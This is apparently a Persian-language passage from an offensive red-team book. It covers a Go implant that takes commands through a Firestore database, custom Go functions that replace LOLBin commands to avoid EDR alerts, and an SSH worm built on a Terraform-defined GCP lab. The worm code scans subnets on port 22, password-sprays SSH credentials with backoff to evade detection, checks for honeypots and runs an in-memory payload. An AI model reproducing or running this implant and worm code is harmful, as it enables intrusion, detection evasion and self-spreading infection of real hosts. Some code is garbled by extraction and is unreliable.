  داده، سمازماندهی برای. کنید باز Firestore  در را خود  ایجادشمده تازه  داده  پایگاه و بروید خود  Google Cloud کنسمول

Firestore  اسناد ،(هاگروه)  هامجموعه  از متشکل  مراتبیسلسله  ساختار یک  از  (هایورودی  JSON)،  هایجفت)  فیلدها  و 

: اسممت  اولیه  سممند دو  حاوی که  ببینید commands نام به جدید مجموعه یک باید.  کندمی اسممتفاده( اسممناد درون مقدار-کلید

 نسمخه مشمابه دایرکتوری فهرسمت یک حاوی که) default-cmd سمند و کندمی اسمتفاده  آن از  ایمپلنت که schema سمند

  اجرای  هنگمام  failed  یما  completed  بمه  pending  از  کمه  دارد  status  فیلمد  یمک  سمممممنمد  هر(.  بود  خواهمد  شممممممما  قبلی

 (.ببینید را 19-4 شکل) شودمی روزرسانیبه هافرمان

 

 Firestore داده پایگاه در هامجموعه  مشاهده: 19-4 شکل

  داده  پایگاه نظرسمنجی چرخه هر  در بلکه  کندنمی  اجرا  مداوم طوربه را  هافرمان همان نامحدود طوربه دیگر  شمدهبازبینی کد

 حداکثر تا یابد،می ادامه  کردید  پیکربندی قبلا   که تصمادفی هایبازه با نظرسمنجی. کندمی وجوپرس جدید هایفرمان برای  را

 (.است 10 مورد این در که کردید، تنظیم که ایمنی) چرخه تعداد

 کلید دو  این  سمپس و  کنید کلیک کنسمول مرکزی پنجره در Add Document روی صمف، به هافرمان کردن  اضمافه برای

 (:ببینید را 20-4 شکل) کنید ایجاد را

command = your-command 

status = pending 
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 .گیردمی قرار صف در بعدی نظرسنجی چرخه در اجرا برای جدید فرمان کردید، ذخیره را سند که  هنگامی

 

 Firestore در سند یک کردن  اضافه:  20-4 شکل

 کند؛ بررسی  را pending  وضعیت تا کندمی تکرار نامش، از  نظرصرف سند،  هر روی نظرسنجی  چرخه هر  در  ایمپلنت

  اجرا  زممانی  مُهرهمای  و  خروجی،  ،(failed  یما  completed)  جمدیمد  وضمممممعیمت  نتمایج،  بما را  سمممممنمد  و  کنمد؛ اجرا را  فرممان

 (.ببینید را 21-4 شکل) کند روزرسانیبه

 

 ایمپلنت موفق اجرای از پس Firestore سند وضعیت  هایروزرسانیبه : 21-4 شکل

 .کنید غیرفعال استفاده عدم هنگام را سرویس حساب دسترسی کلید و دهید خاتمه را  ایمپلنت که  نکنید فراموش

 پیشرفته  قابلیت
 ممکن ایمپلنت اگرچه. کنندمی اجرا را شممما  هایفرمان  هاEDR وقتی اسممت  شممدن گرفتار  کنندهتسممت  هر برای  نگرانی یک

 را شمک  همیشمه  تقریبا   whoami  مانند LOLBins  از  اسمتفاده کند،  برقرار ارتباط  شمما به و شمود  مسمتقر  مشمکل بدون اسمت

 .شوندمی استفاده برداریبهره از پس  تهدید هایگروه  توسط معمولا   هاآن چون  انگیزدبرمی

 و زمان نیازمند سمفارشمی کاملا   هایپوسمته اما اسمت، داخلی EDR  هایزدن  دور با  سمفارشمی  پوسمته یک ایجاد  آلایده  حلراه

 .هاستفرمان ترینمشکوک برای محدود هایجایگزین ایجاد ترعملی  رویکرد یک. هستند ساخت برای توجهی قابل  مهارت
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 تشمخیص از اجتناب به تا کند،نمی ایجاد را فرضپیش سمیسمتمی هایپوسمته که  کردید، اسمتفاده exec Go بسمته  از شمما قبلا ،

 محدود هایجایگزین ایجاد  برای Go  اصمملی هایبسممته از اسممتفاده  نحوه  دادن نشممان  با  را ایده  این  3-4  فهرسممت. کند  کمک

LOLBin  دهدمی گسترش  برانگیزند  کمتری شک است ممکن که سفارشی. 

// If directly pasting, add net and os/user to imports. 

// Custom command handlers 

type CommandHandler func() (string, error) 

var customCommands = map[string]CommandHandler { 

″xsysinfo″: getSysInfo , 

″xnetinfo″: getNetInfo, 

″xuserinfo″: getUserInfo, 

″xprocinfo″: getProcessInfo, 

″xenvinfo″: getEnvInfo, 

} 

func getSysInfo() (string, error)  { 

var info strings.Builder 

info.WriteString(fmt.Sprintf(″OS: %s/%s\n″, runtime.GOOS, runtime.GOARCH)) 

hostname, err := os.Hostname )( 

if err == nil  { 

info.WriteString(fmt.Sprintf(″Hostname: %s\n″, hostname)) 

} 

if wd, err := os.Getwd(); err == nil  { 

info.WriteString(fmt.Sprintf(″Working Directory: %s\n″, wd)) 

} 

return info.String(), nil 

} 

func getNetInfo() (string, error)  { 

var info strings.Builder 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
119 

interfaces, err := net.Interfaces)( 

if err != nil  { 

return ″″, err 

} 

for _, iface := range interfaces  { 

addrs, err := iface.Addrs)( 

if err != nil  { 

continue 

} 

info.WriteString(fmt.Sprintf(″\nInterface: %s\n″, iface.Name)) 

info.WriteString(fmt.Sprintf(″MAC: %s\n″, iface.HardwareAddr)) 

for _, addr := range addrs { 

info.WriteString(fmt.Sprintf(″Addr: %s\n″, addr.String())) 

} 

} 

return info.String(), nil 

} 

func getUserInfo() (string, error)   { 

var info strings.Builder 

if currentUser, err := user.Current(); err == nil  { 

info.WriteString(fmt.Sprintf(″Username: %s\n″, currentUser.Username)) 

info.WriteString(fmt.Sprintf(″UID: %s\n″, currentUser.Uid)) 

info.WriteString(fmt.Sprintf(″GID: %s\n″, currentUser.Gid)) 

info.WriteString(fmt.Sprintf(″Home: %s\n″, currentUser.HomeDir)) 

} 

if runtime.GOOS != ″windows { ″ 
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if groups, err := os.Getgroups(); err == nil  { 

info.WriteString(″Groups: ″) 

for _, gid := range groups { 

info.WriteString(fmt.Sprintf(″%d ″, gid)) 

} 

info.WriteString(″\n″) 

} 

} 

return info.String(), nil 

} 

func getProcessInfo() (string, error)  { 

var info strings.Builder 

pid := os.Getpid )( 

ppid := os.Getppid )( 

info.WriteString(fmt.Sprintf(″Current PID: %d\n″, pid)) 

info.WriteString(fmt.Sprintf(″Parent PID: %d\n″, ppid)) 

if runtime.GOOS != ″windows { ″ 

info.WriteString(″\nProcess Status:\n″) 

if data, err := os.ReadFile(fmt.Sprintf(″/proc/%d/status″, pid)); err == nil { 

info.WriteString(string(data)) 

} 

} 

return info.String(), nil 

} 

func getEnvInfo() (string, error)  { 

var info strings.Builder 
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for _, env := range os.Environ { )( 

info.WriteString(fmt.Sprintf(″%s\n″, env)) 

} 

return info.String(), nil 

} 

 کنندمی اجرا کاربر ورودی اساس بر را LOLBin معادل توابع که Go هایبسته: 3-4 فهرست

 که  هسممتند  هاییاولین از  که  شمموندمی  شممبکه و کاربر، فرایند،  هایفرمان و  محیطی  متغیرهای جایگزین  سممفارشممی  توابع  این

 این با  ورودی هایفرمان  آیا که  کندمی بررسممی  ایمپلنت:  اسممت  نکرده  تغییر  عمل  مکانیزم. شمموندمی  اجرا  اسممتقرار از پس

  اجرا  سمیسمتمی  فرمان  یک  اجرای  جایبه را شمدهنگاشمت Go  تابع  باشمد،  چنین  اگر و دارند،  مطابقت  سمفارشمی  مسمتعار هاینام

 .کندمی کمک استاندارد سیستمی هایفرمان از سفارشی هایفرمان  تمایز به x  پیشوند. کندمی

-goslowc2  فصمممل پوشمممه  در کامل سمممازیپیاده از یا  کنید  اضمممافه خود موجود کد به  را  سمممفارشمممی  توابع یا  توانیدمی
firestore-1.2 تابع که باشمممید  داشمممته توجه. کنید اسمممتفاده runCommand  )(تغییر   زیر موارد به شمممما  اول  بازبینی از  

 :کندمی

func runCommand(command string) (string, error)   { 

// First check if it′s one of your custom commands. 

if handler, exists := customCommands[command]; exists  { 

return handler )( 

} 

--snip -- 

 را  اجرا  زمان پارامترهای  کنید، سمازیصمحنه  را شمدهجاسمازی JSON  که  شموید مطمئن  کنید،می  انتخاب  را دوم گزینه اگر

 .کنید بازیابی اسکریپت اجرای از قبل( go mod tidy با) را go.mod هایوابستگی و  کنید،  تنظیم

 .دهدمی نشان را LOLBin از استفاده بدون شدهانجام اضافی تابع هایفراخوانی هایخروجی 22-4 شکل

 

 Firestore با شما ایمپلنت برای سفارشی فرمان  یک موفق اجرای:  22-4 شکل
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 کلیدهای و  کنید  غیرفعال را  خود  سمممرویس  هایحسممماب  تمام  که شممموید  مطمئن کردید، کامل  را  آزمایشمممگاه  این که  هنگامی

JSON  کنید، اسمممتفاده هامحیط در ایمپلنت این از دارید  قصمممد اگر.  کنید  ایمن غیرمجاز اسمممتفاده از جلوگیری برای  را خود 

 :دهدمی پیوند واحد باینری یک در ایستا صورتبه را هاوابستگی استاندارد ساخت فرمان از استفاده

 %go build scriptname.go 

 تشممخیص از  فرار  هدف. دارید نگه نخوردهدسممت  را  هاآن  کنیممی  توصممیه  ما و شمموند،نمی حذف نمادها فرض،پیش طوربه

 در  را قانونی  پزشممکی-ضممد  داشممتید نیاز اگر. باینری  کشممف  از پس  معکوس  مهندسممی  کردن دشمموارتر نه اسممت،  اجرا زمان

  نشمانگرهای  تا  کندنمی حذف  را نمادها که کردیدمی  اندازیراه سمفارشمی  آنتروپیکم packer  یک کنید، اعمال باینری سمطح

 .کند متعادل را  سازیمبهم سطوح و  بالقوه

 خلاصه 
 با که Go بر مبتنی ایمپلنت یک برای انتقال رمزگذاری و عملیات سمممازیایمن برای را هاییویژگی شمممما فصمممل، این  در

 تدریجی صممممورتبه  شممممما پایه،  کلاینت یک  از شممممروع  با.  کردید  بندیلایه  شممممودمی  اجرا GCP  شممممدهپشممممتیبانی خدمات

 ردیابی واقعی،  زمان به  نزدیک  داده  پایگاه هایقابلیت  عامل،سمیسمتم تشمخیص شمده،سمازیمبهم  شمدهجاسمازی هایاعتبارنامه

 بود ممکن که زمان هر شمما بهبودها، این  تمام  سمراسمر در. کردید  اضمافه  را  سمفارشمی فرمان هایwrapper حتی و حالت،

 هدف محیط با خود  کمپین  شممممدن  مخلوط  به  کمک برای  هاییتکنیک  از و کردید دنبال  را عملیاتی  امنیت هایشممممیوه  بهترین

 .کردید استفاده
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 ها کرم با جانبی هایبرداری بهره  ایجاد 5
 

  ادامه برای  را صمممفر  روز هایبرداریبهره  سمممپس و  کنندمی اسمممکن پذیریآسمممیب چند یا  یک  برای هاکرم  معمول، طوربه

  سمممازی بهینه اندازه  برای شمممدتبه  اغلب هاکرم کارایی، حفظ برای.  کنندمی سمممازیپیاده  ممکن  زمان  ترینسمممریع در  تکثیر

 .کندمی محدود را  بگنجانند خود بار در توانندمی که ایبالقوه  C2 هایقابلیت که شوند،می

 را  SSH بر  مبتنی  Linux x64 هایمیزبان که  کرد خواهید ایجاد شمممبکه خدمات بر  متمرکز کرم یک شمممما مورد، این  در

  عنوانبمه  را  عبور  رمز  بر  مبتنی  هویمت  احراز  توانیمدمی.  دهنمدمی  اجمازه  را  SSH  هویمت  احراز  کمه  دهمدمی  قرار  همدف

  تر مهم  مکانیزم سماخت  نحوه  دانسمتن.  بگیرید نظر در برداریبهره تحویل روش عنوانبه  را اعتبارنامه  اسمپری و  پذیریآسمیب

 .است خاص  پذیریآسیب و برداریبهره جفت  یک بر تمرکز از

 از  کرم که شممود  حاصممل  اطمینان تا کرد خواهید  اضممافه هاییمحافظ اما کرد خواهید حفظ  را کرم  اصمملی  عمل  مکانیزم شممما

 :شودنمی خارج شما  کنترل

 .شودمی اجرا  خودنابودکننده تایمر یک روی که کنید اضافه  پاکسازی  اسکریپت یک •

 .دهید قرار هدف را RFC 1918 (LAN) آدرس هایمحدوده فقط •

 .کنید محدود ایرشتهتک هایاسکن و  تایمرها با را شبکه اشباع •

 .کنید استفاده هامیزبان همان مجدد عفونت از جلوگیری برای دور راه mutex هایبررسی از •

  تشمخیص   هشمدار  یک  کردن فعال شمانس کاهش برای عبور رمز اسمپری با پایه  نمایی هایbackoff از شمما  فرار،  سممت  در

 از اسمممتفاده و بندی،زمان نرخ، محدودسمممازی  اصممملی  اصمممول اسممماس بر  طراحی در  فرارها سمممایر. کرد خواهید اسمممتفاده

 را honeypot و chroot پایه هایبررسی  انجام  توانایی همچنین شما. هستند(  کندمی  فراهم قبل  از  SSH که) رمزنگاری

 برای mutex بررسمی یک و خودخاتمه تایمر یک شمامل اضمافی هایمحافظ. کرد خواهید  اضمافه عفونت توالی اتمام  از قبل

 .است تصادفی مجدد عفونت از جلوگیری



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
124 

 فنی الزامات
 :دارید نیاز زیر موارد به آزمایشگاه، این  تکمیل برای

  نمونه  چندین به دسمترسمی یا  وب،  کنسمول دسمترسمی و  مالک حقوق با Google Cloud Platform (GCP)  پروژه یک •

VM بر  مبتنی Debian Intel x64  زیرشبکه همان روی 

• Go (اندشده آزمایش 1.24.4 نسخه با کد  هایلیست تمام) شدهنصب 

• VS Code رسمی افزونه با Go (اختیاری) شدهنصب 

 .ببینید پیکربندی جزئیات همچنین و ،GCP و Go بر مروری برای را  کتاب مقدمه آزمایشگاه، این شروع از قبل

 استقرار  معماری
. کرد خواهید کامپایل ایسمتا شمدهپیوند باینری یک به را خود کد و داد خواهید  ادامه  Go از  اسمتفاده به شمما آزمایشمگاه، این  در

  دادن  قرار  هدف با که کرد  خواهد  اسممتفاده main تابع  یک  توسممط  شممدههماهنگ اسممتاندارد تابع  هایفراخوانی از ماژول  این

 بررسی یک  از  عبور شامل  است، شده  داده نشان  1-5 شکل  در  که  اجرا،  جریان.  شودمی شروع«(  0 بیمار)»  اولیه میزبان

honeypot،  قفمل  فمایمل یمک بررسمممممی mutex، و برداری،بهره اسمممممکن، بمار،  اجرای  سمممممپس و گزارش،  ثبمت  انمدازیراه 

 .خود خاتمه و پاکسازی از قبل شودمی اجرا ساعت چهار مدت به فرضپیش طوربه فرایند این. است  تکثیر هایقابلیت

 

 SSH  کرم هایزیرروال : 1-5 شکل
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 .کرد خواهید استفاده حلراه آزمایش و استقرار برای IaC از شما بعد، بخش در

 عفونت  نمونه   یک اندازیراه 
 و GCP  از  اسمتفاده  از  را  شمما ما. داشمت خواهید نیاز VM نمونه چندین به  دسمترسمی  به  آزمایشمگاه، صمحیح آزمایش برای

Terraform  یک  اسممتقرار برای رایگان  سممطح در  VPC  ،نمونه سممه و  فایروال،  قواعد زیرشممبکه، جدید VM تصمماویر که 

 VM  هماینمونمه  از  توانیمدمی  جمایگزین،  طوربمه.  کرد  خواهیم  راهنممایی  کننمدمی  اجرا  را  Debian 11  بر  مبتنی  فرضپیش
 روی  هاVM  تمام و باشمد کرده  فعال را  SSH عبور رمز  هویت  احراز عاملسمیسمتم  اینکه شمرط به کنید،  اسمتفاده خودمیزبان

  منابع  با  بالقوه  هایپیچیدگی  دلیلبه  کنیمنمی توصممیه کد  از نسممخه  این  با  را  کانتینرها  از اسممتفاده ما. باشممند زیرشممبکه همان

 .احتمالی خودکار  بازیابی هایسیاست و پوسته، محدود دسترسی  مشترک،

 Terraform و   GCP Cloud Shell  پیکربندی
 از  شممما  ،AWS CloudFormation از اسممتفاده  جایبه. اسممت  زیادی  هایکلیک  نیازمند  اما اسممت سمماده  GCP  اندازیراه

Terraform  از  مسمتقل  زبان  یک بر که  کرد، خواهید اسمتفاده  CSP  نام به HCL به کنسمول  از اسمتفاده با. اسمت  شمده  سماخته 

 را  2-5 شمکل)  کنید کلیک بالا ابزار نوار در  Activate Cloud Shell آیکون روی  سمپس شموید،  وارد خود GCP پروژه

 (.ببینید

 

 GCP Cloud Shell نمونه سازیفعال : 2-5 شکل

 نوار در  Open Editor روی وب، بر  مبتنی  ویرایشممگر به  تغییر برای. شممد  خواهید هدایت Linux  ترمینال  اعلان یک به

 (.ببینید را 3-5 شکل) کنید کلیک Cloud Shell ابزار

 

 Cloud Shell Editor کردن  باز: 3-5 شکل

(  دارد   قرار  صممممفحه چپ  سمممممت  در که)  Cloud Shell  ویرایشممممگر Explorer  پنجره  درون  خالی  فضممممای یک روی

 .کنید ایجاد main.tf نام به جدید فایل  یک و کنید  کلیکراست

 آزمایشی  زیرساخت  استقرار
 .کنید تایپ 1-5 فهرست از یا کنید گذاریجای فصل هایفایل از را Terraform HCL کد و کنید باز را فایل
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terraform   { 

required_providers { 

google { = 

source = ″hashicorp/google″ 

version = ″~> 4.25.0″ 

} 

} 

} 

variable ″project_id { ″ 

description = ″The GCP project ID ″ 

type = string 

} 

provider ″google { ″ 

project = var.project_id 

region = ″us-east1″ 

zone = ″us-east1-d ″ 

} 

 #Create VPC . 

resource ″google_compute_network″ ″rttd_network { ″ 

name = ″rttd-network ″ 

auto_create_subnetworks = false 

} 

 #Create subnet . 

resource ″google_compute_subnetwork″ ″rttd_subnet { ″ 

name = ″rttd-subnet ″ 

ip_cidr_range = ″10.0.10.0/24″ 
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region = ″us-east1″ 

network = google_compute_network.rttd_network.id 

} 

 #Create firewall rule for ingress internet access . 

resource ″google_compute_firewall″ ″allow_internet_ingress { ″ 

name = ″allow-internet-ingress ″ 

network = google_compute_network.rttd_network.name 

direction = ″INGRESS″ 

allow  { 

protocol = ″tcp ″ 

ports = [″22″, ″80″, ″443″] # Allow SSH, HTTP, HTTPS inbound 

} 

source_ranges ″[ =0.0.0.0 /0]″ 

} 

 #Create firewall rule for internal communication. 

resource ″google_compute_firewall″ ″allow_internal { ″ 

name = ″allow-internal ″ 

network = google_compute_network.rttd_network.name 

direction = ″INGRESS″ 

allow  { 

protocol = ″tcp ″ 

ports ″[ =22]″ 

} 

allow  { 

protocol = ″icmp ″ 

} 
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source_ranges = [google_compute_subnetwork.rttd_subnet.ip_cidr_range] 

} 

 #Create firewall rule for all egress (except SSH). 

resource ″google_compute_firewall″ ″allow_internet_egress { ″ 

name = ″allow-internet-egress ″ 

network = google_compute_network.rttd_network.name 

direction = ″EGRESS″ 

allow  { 

protocol = ″tcp ″ 

} 

allow  { 

protocol = ″udp ″ 

} 

allow  { 

protocol = ″icmp ″ 

} 

destination_ranges  ″[ =0.0.0.0 /0]″ 

} 

 #Create firewall rule to block SSH egress to internet. 

resource ″google_compute_firewall″ ″block_ssh_egress { ″ 

name = ″block-ssh-egress″ 

network = google_compute_network.rttd_network.name 

direction = ″EGRESS″ 

priority = 1000 

deny { 

protocol = ″tcp ″ 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
129 

ports ″[ =22]″ 

} 

destination_ranges  ″[ =0.0.0.0 /0]″ 

} 

 #Create three instances using count. 

resource ″google_compute_instance″ ″patient_instances { ″ 

count = 3 

name = ″patient${count.index} ″ 

machine_type = ″e2-medium ″ 

zone = ″us-east1-d ″ 

boot_disk { 

initialize_params  { 

image = ″projects/debian-cloud/global/images/debian-12-bookworm-v20241210″ 

size = 10 

type = ″pd-balanced ″ 

} 

} 

network_interface { 

network = google_compute_network.rttd_network.name 

subnetwork = google_compute_subnetwork.rttd_subnet.name 

access_config  { 

network_tier = ″BASIC″ # This block ensures an ephemeral external IP is assigned. 

} 

} 

labels { = 

instance = ″patient${count.index} ″ 
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} 

scheduling  { 

automatic_restart = false 

on_host_maintenance = ″TERMINATE″ 

preemptible = true 

provisioning_model = ″SPOT ″ 

} 

service_account  { 

scopes = [″cloud-platform″] 

} 

metadata  { = 

shutdown-script = ″echo ′Instance is being shut down ″′ 

} 

} 

 #Output both internal and external IPs. 

output ″instance_details{ ″ 

value { = 

for instance in google_compute_instance.patient_instances : instance.name  { >= 

internal_ip = instance.network_interface[0].network_ip 

external_ip = instance.network_interface[0].access_config[0].nat_ip 

} 

} 

description = ″Internal and external IPs of each instance ″ 

} 

 VPC یک و VM نمونه چندین استقرار برای Terraform HCL: 1-5 فهرست

 .برسد نظر به Cloud Shell ویرایشگر رابط در باید چگونه شما main.tf فایل دهدمی نشان 4-5 شکل
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 Cloud Shell ویرایشگر در main tf فایل: 4-5 شکل

 اعتبارسممنجی برای main.tf پوشممه همان درون  را زیر  هایفرمان و  بازگردید  خود  ترمینال به سممپس  کنید، ذخیره  را فایل

 :کنید اجرا فایل

 $terraform init 

 $terraform fmt 

 $terraform validate 

 تا  کنید  کلیک کردید  ایجاد ابتدا  در که ایپروژه نام روی و بروید Google Cloud  کنسمممول Welcome  صمممفحه به بعد،

 (.5-5  شکل) ببینید را خود GCP پروژه شناسه

 

 شما GCP پروژه شناسه دریافت: 5-5 شکل

 کنسمول در که  حالی در.  داشمت خواهید  نیاز  آن به  Terraform  اقدامات  اجرای برای بعدا    چون  کنید، ذخیره  را  شمناسمه  این

Google Cloud ،پروژه  یک اگر هسممممتید GCP   باید  همچنین اید،کرده  ایجاد جدید کاملا API Compute Engine  را 

  نتمایج  از  را Compute Engine و  کنیمد،  تایپ  را Compute  بروید،  جسمممممتجو نوار به  کار،  این انجمام برای.  کنیمد فعمال

 عملیات  تکمیل تأیید  منتظر و(  ببینید را  6-5 شمممکل)  کنید  کلیک  Enable روی  شمممد، درخواسمممت که  هنگامی. کنید  انتخاب

 .بمانید
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 Google Cloud کنسول در  API Compute Engine سازیفعال : 6-5 شکل

 :کنید اجرا را زیر هایفرمان و بازگردید Cloud Shell  ویرایشگر به

 $terraform plan 

 $terraform apply 

 .کنید گذاریجای اضافی فاصله یا قولنقل بدون را آن که شوید مطمئن. کنید وارد را پروژه شناسه شودمی خواسته شما از

 (.ببینید را 7-5 شکل)  کنید ایجاد زیرساخت جزئیات با محلی حالت فایل یک تا کنید اجرا را terraform plan بعد،

 

 terraform plan فرمان  خروجی: 7-5 شکل

 GCP Cloud  سمممممبمد  یمک  در را  آن  و  کردیمدمی  گیریپشمممممتیبمان  را  حمالمت  فمایمل  این  آلایمده  طوربمه  تولیمدی،  محیط  یمک  در
Storage  برای  آن  از فقط شممما آزمایشممگاه، این  اهداف  برای. کردیدمی ذخیره جداگانه سممرویس  هایحسمماب با شممدهایمن 

 .کنیدمی استفاده بردن بین از و اندازیراه زمان کاهش
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 اگر.  بمانید فرایند  تکمیل  منتظر و کنید وارد  را Yes یا Y  دهید،  ادامه  منابع  اضمافات با خواهیدمی آیا شمد پرسمیده که  هنگامی

. کرد خواهید دریافت  403 خطای یک  کنید، امتحان  API Compute Engine  سمممازیفعال  از  پس  زود خیلی  را  کار  این

 .کنید امتحان دوباره و  کنید صبر کمی

  منوی  Virtual Machines بخش در) بروید Compute Engine VM Instances به شممممد، کامل  فرایند که  هنگامی

 زیرشمبکه  درون اسمت ممکن  مختلف  IP  هایآدرس که باشمید  داشمته توجه)  ببینید را  اجرا  حال  در  نمونه  سمه هر باید(. بازشمو

 .است شده داده نشان 8-5 شکل در که طورهمان ،(شوند داده اختصاص شما

 

 GCP Compute Engine هاینمونه فهرست: 8-5 شکل

 .کرد خواهید کرم  تکثیر به شروع است، شده  مستقر زیرساخت که حالا

addrs, err := iface.Addrs)( 

if err != nil  { 

continue 

} 

for _, addr := range addrs { 

switch v := addr.(type)  { 

case *net.IPNet : 

if ip4 := v.IP.To4(); ip4 != nil { 

ones, _ := v.Mask.Size)( 

if ones == 32  { 

baseIP := ip4.Mask(net.CIDRMask(24, 32)) 

return fmt.Sprintf(″%s/24″, baseIP.String()), nil 

} 

return v.String(), nil 
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} 

} 

} 

} 

return ″″, fmt.Errorf(″no valid subnet detected″) 

} 

func getOwnIP() string  { 

addrs, err := net.InterfaceAddrs )( 

if err != nil  { 

return  ″″ 

} 

for _, addr := range addrs { 

if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback { )( 

if ipv4 := ipnet.IP.To4(); ipv4 != nil  { 

return ipv4.String )( 

} 

} 

} 

return  ″″ 

} 

func incrementIP(ip net.IP) { 

for j := len(ip) - 1; j >= 0; j--  { 

ip[j] ++ 

if ip[j] > 0  { 

break 

} 
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} 

} 

func isHostAlive(host string) bool  { 

5 

conn, err := net.DialTimeout(″tcp″, fmt.Sprintf(″%s:22″, host), SCAN_TIMEOUT) 

if err != nil  { 

return false 

} 

conn.Close )( 

return true 

} 

func checkRemoteMutex(client *ssh.Client) (bool, error)   { 

session, err := client.NewSession )( 

if err != nil  { 

return false, err 

} 

defer session.Close)( 

output, err := session.CombinedOutput(″test -f ″ + MUTEX_FILE + ″ && echo ′exists′″) 

if err != nil  { 

return false, nil 

} 

return strings.TrimSpace(string(output)) == ″exists″, nil 

} 

--snip -- 

func scanAndInfect { )( 

subnet, err := detectAndSetSubnet )( 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
136 

if err != nil  { 

logMsg(fmt.Sprintf(″Subnet detection failed: %v - canceling scan″, err)) 

return 

} 

logMsg(fmt.Sprintf(″Detected subnet: %s″, subnet)) 

ip, ipnet, err := net.ParseCIDR(subnet) 

if err != nil  { 

logMsg(fmt.Sprintf(″Failed to parse CIDR: %v″, err)) 

return 

} 

for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); incrementIP(ip)   { 

if ip.String() == getOwnIP { )( 

continue 

} 

host := ip.String )( 

logMsg(fmt.Sprintf(″\n[*] Checking host: %s″, host)) 

time.Sleep(SCAN_DELAY) 

if isHostAlive(host) { 

logMsg(fmt.Sprintf(″[+] Host %s is alive and responding on port 22″, host)) 

tryInfect(host) 

} 

} 

} 

func tryInfect(host string)  { 

6 

var lastErr error 
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retryDelay := INITIAL_RETRY_DELAY 

// Try all user/password combinations 

for _, user := range SSH_USERS  { 

for _, pass := range SSH_PASSWORDS { 

config := &ssh.ClientConfig { 

User: user, 

Auth: []ssh.AuthMethod{ 

ssh.Password(pass), 

,} 

HostKeyCallback: ssh.InsecureIgnoreHostKey,)( 

Timeout: SCAN_TIMEOUT, 

} 

logMsg(fmt.Sprintf(″[*] Attempting login on %s with credentials %s/%s″, host, user, pass)) 

client, err := ssh.Dial(″tcp″, fmt.Sprintf(″%s:22″, host), config) 

if err != nil  { 

lastErr = err 

logMsg(fmt.Sprintf(″[-] Login failed with %s/%s: %v″, user, pass, err)) 

// Apply exponential backoff 

time.Sleep(retryDelay) 

retryDelay *= 2 

if retryDelay > MAX_RETRY_DELAY { 

retryDelay = MAX_RETRY_DELAY 

} 

continue 

} 

defer client.Close)( 
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infected, err := checkRemoteMutex(client) 

if err != nil  { 

logMsg(fmt.Sprintf(″[-] Failed to check remote mutex: %v″, err)) 

continue 

} 

--snip -- 

 کرم برای Go کد: 2-5 فهرست

 برای Go  اصممملی هایبسمممته از  اسمممکریپت  این.  کنیم بررسمممی main  تابع  در  اجرا جریان  کردن دنبال با  را کد این  بیایید

 سمیسمتمفایل یک  مانند دایرکتوری  ناوبری آیا اینکه آزمایش با  honeypot تشمخیص شمامل کند،می اسمتفاده  توابع  از بسمیاری

 ریشمه هایدایرکتوری  مقایسمه  برای)(  os.Stat  از اسمتفاده  با  را  chroot  هایمحیط  خاص، طوربه.  3  کندمی  رفتار واقعی

 و PATH مانند  محیطی  متغیر چندین  معمولا    واقعی هایسمیسمتم. دهدمی تشمخیص محیطی  متغیرهای بررسمی با و سمیسمتمفایل

 .دارند سرویس حساب داده

 اسممت  قرار.  2 کندمی ایجاد  «قفل»  فایل  یک  قالب در mutex یک کرم ،honeypot سمماده  هایبررسممی  از عبور از پس

 طریق از  را  وضمعیت و  اسمت ترآسمان tmp/ دایرکتوری  در فایل یک ایجاد اما  باشمد، فرایند  درون پرچم  یک mutex یک

SSH  دایرکتوری  در  همچنین  کمه—گزارش  فمایمل  یمک  تولیمد  مشمممممابمه،  طوربمه.  کنمدمی  خوانمدن  قمابمل  /tmp  خواهمد  قرار 

 .افتدمی اتفاقی چه ببینید زداییاشکال اهداف برای دهدمی اجازه شما به—گرفت

 اگر. )کند  اجرا SSH  جلسممه چندین از اسممتفاده با  را بار  هایفرمان  کندمی سممعی رود،می  پیش main روتین که طورهمان

 سازیزنجیره و piping که  است  دلیل این  به  کنید،نمی استفاده  واحد  جلسه یک روی ترمینالشبه یک  از چرا کنیدمی  تعجب

 میزبان محلی شممارش برای LOLBins از کندمی سمعی اجرا تابع.(  داد  دسمت  به ناسمازگاری  نتایج ما هایآزمایش در  فرمان

 نیازهای با تطبیق برای را هافرمان این باید واقعی،  engagement یک در. زندمی  حلقه فهرسممت  یک  از و کند،  اسممتفاده

 .کند فعال محلی شناسایی برای EDR هشدار یک تواندمی که هستند، که طورهمان هاآن کردن رها جایبه دهید  تغییر خود

  ایمپلنت  بار از اسممممتفاده.  کندمی  فراخوانی  ایمپلنت بار دریافت برای  زیرروال یک  تابع فهرسممممت،  طریق  از تکرار از پس

 را  آن  خود  نوبهبه  که شمممماسمممت،  wrapper تابع در  آن  گذاریجای سمممپس و Base64 به خود باینری رمزگذاری  نیازمند

 .1 کندمی اجرا زیرفرایند یک عنوانبه و کندمی بار حافظه در blob یک عنوانبه

  کند می شممارش  را خود محلی هایرابط  آلوده میزبان  یک. اسمت عفونت و اسمکن روتین  ترین،اهمیتکم نه اما مورد  آخرین

 اگر حتی  کنندمی دریافت  32/ زیرشممبکه  یک  ،GCP  مانند  ،CSP در  شممدهمیزبانی  هاینمونه. گیردمی  را IP  هایآدرس و

  هسمتند،   سمنتی هایرابط  روی  زیرشمبکه  شممارش به  قادر  Go اصملی هایبسمته.  باشمند متصمل  24/  تربزرگ  زیرشمبکه یک به

 و کند فرض  را  24/ خودکار طوربه تا  دارد  زیرروال  یک تابع. دهندمی نشمان  32/  معمولا    ابری  شمدهمیزبانی هایرابط اما

 .4 دهد تغییر اسکن دامنه از بخشی عنوانبه را  بیت محدوده

 روی  SSH  خدمات  بررسممی برای اسممکن تأخیرهای و  اتصممال  هایtimeout  از ابتدا،.  دهدمی انجام پاس دو اسممکنر خود

  شممناسممایی  را  SSH  سممرویس با  هاییمیزبان که  هنگامی.  5 کندمی  اسممتفاده ایرشممتهتک رویکرد  یک  در  TCP 22  پورت

 .کندمی امتحان را واقعی عفونت سپس و کندمی گذاریعلامت «زنده» عنوانبه را هاآن کرد،
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 برای  آلوده هایمیزبان برای  مکانیزم  یک  کنیممی  توصممیه  ما کنید،می بالغ خود اسممتفاده برای  را کد  این که طورهمان توجه

